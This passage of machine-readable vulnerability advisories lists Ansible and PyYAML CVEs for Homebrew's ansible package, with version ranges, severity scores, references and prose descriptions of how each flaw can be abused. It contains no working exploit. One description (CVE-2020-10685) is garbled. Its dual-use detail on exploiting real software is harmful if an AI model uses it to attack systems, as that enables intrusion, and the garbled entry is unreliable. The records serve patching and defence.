ubuntu.com/4204-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-20477","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:53Z","upstream":["GHSA-3pqx-4fqf-j49f","CVE-2019-20477","PYSEC-2020-176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.10"},{"fixed":"2.9.3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.2","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Deserialization of Untrusted Data in PyYAML","details":"PyYAML 5.1 through 5.1.2 has insufficient restrictions on the load and load_all functions because of a class deserialization issue, e.g., Popen is a class in the subprocess module. NOTE: this issue exists because of an incomplete fix for CVE-2017-18342.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-20477"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3pqx-4fqf-j49f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2020-176.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/blob/master/CHANGES"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/33VBUY73AA6CTTYL3LRWHNFDULV7PFPN"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/52N5XS73Z5S4ZN7I7R56ICCPCTKCUV4H"},{"type":"WEB","url":"https://www.exploit-db.com/download/47655"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-3828","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-3828","GHSA-74vq-h4q8-x6jv","PYSEC-2019-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.8"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"http://packetstormsecurity.com/files/172837/Ansible-Fetch-Path-Traversal.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3828"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/52133"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10684","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-10684","GHSA-p62g-jhg6-v3rq","PYSEC-2020-207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.9 and 2.9.6 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10684"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10685","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-10685","GHSA-77g3-3j5w-64w4","PYSEC-2020-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when using modules which decrypts vault files such as assemble, script, unarchive, win_copy, aws_s3 or copy modules. The temporary directory is created in /tmp leaves the s ts unencrypted. On Operating Systems which /tmp is not a tmpfs but part of the root partition, the directory is only cleared on boot and the decryp emains when the host is switched off. The system will be vulnerable when the system is not running. So decrypted data must be cleared as soon as possible and the data which normally is encrypted ble.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10685"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/68433"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10691","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-10691","GHSA-3c67-gc48-983w","PYSEC-2020-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"An archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running ansible-galaxy collection install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L"}],"references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10691"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/68596"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10729","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-10729","GHSA-r6h7-5pq2-j77h","PYSEC-2021-105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 2.9.6.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1831089"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/34144"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10744","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-10744","GHSA-vp9j-rghq-8jhh","PYSEC-2020-208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"An incomplete fix was found for the fix of the flaw CVE-2020-1733 ansible: insecure temporary directory when running become_user from become directive. The provided fix is insufficient to prevent the race condition on systems using ACLs and FUSE filesystems. Ansible Engine 2.7.18, 2.8.12, and 2.9.9 as well as previous versions are affected and Ansible Tower 3.4.5, 3.5.6 and 3.6.4 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"}],"references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10744"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-14330","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-14330","GHSA-785x-qw4v-6872","PYSEC-2020-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"An Improper Output Neutralization for Logs flaw was found in Ansible when using the uri module, where sensitive data is exposed to content and json output. This flaw allows an attacker to access the logs or outputs of performed tasks to read keys used in playbooks from other users within the uri module. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14330"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/68400"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-14332","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-14332","GHSA-j667-c2hm-f2wp","PYSEC-2020-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1rc2"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine when using module_args. Tasks executed with check mode (--check-mode) do not properly neutralize sensitive data exposed in the event data. This flaw allows unauthorized users to read this data. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14332"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/71033"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-14343","published":"2026-08-13T16:35:22Z","modified":"2026-10-09T02:52:46Z","upstream":["GHSA-8q59-q68h-6hv4","CVE-2020-14343","PYSEC-2021-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"2.10.6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.4","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Improper Input Validation in PyYAML","details":"A vulnerability was discovered in the PyYAML library in versions before 5.4, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. This flaw allows an attacker to execute arbitrary code on the system by abusing the python/object/new constructor. This flaw is due to an incomplete fix for CVE-2020-1747.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14343"},{"type":"WEB","url":"https://github.com/SeldonIO/seldon-core/issues/2252"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/420"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/420#issuecomment-663673966"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/a001f2782501ad2d24986959f0239a354675f9dc"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1860466"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8q59-q68h-6hv4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2021-142.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://pypi.org/project/PyYAML"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-14365","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-14365","GHSA-m429-fhmv-c6q2","PYSEC-2020-209"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.13"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when disable_gpg_check is set to False, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1869154"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1733","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1733","GHSA-g4mq-6fp5-qwcf","PYSEC-2020-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p <dir>\"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating '/proc/<pid>/cmdline'.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1733"},{"type":"EVIDENCE","url":"https://github.com/ansible/ansible/issues/67791"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1734","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1734","GHSA-h39q-95q5-9jfp","PYSEC-2020-6"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the pipe lookup plugin of ansible. Arbitrary commands can be run, when the pipe lookup plugin uses subprocess.Popen() with shell=True, by overwriting ansible facts and the variable is not escaped by quote plugin. An attacker could take advantage and run arbitrary commands by overwriting the ansible facts.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L"}],"references":[{"type":"ADVISORY","url":"https://github.com/ansible/ansible/issues/67792"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1734"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1735","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1735","GHSA-gfr2-qpxh-qj9m","PYSEC-2020-7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.8"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be 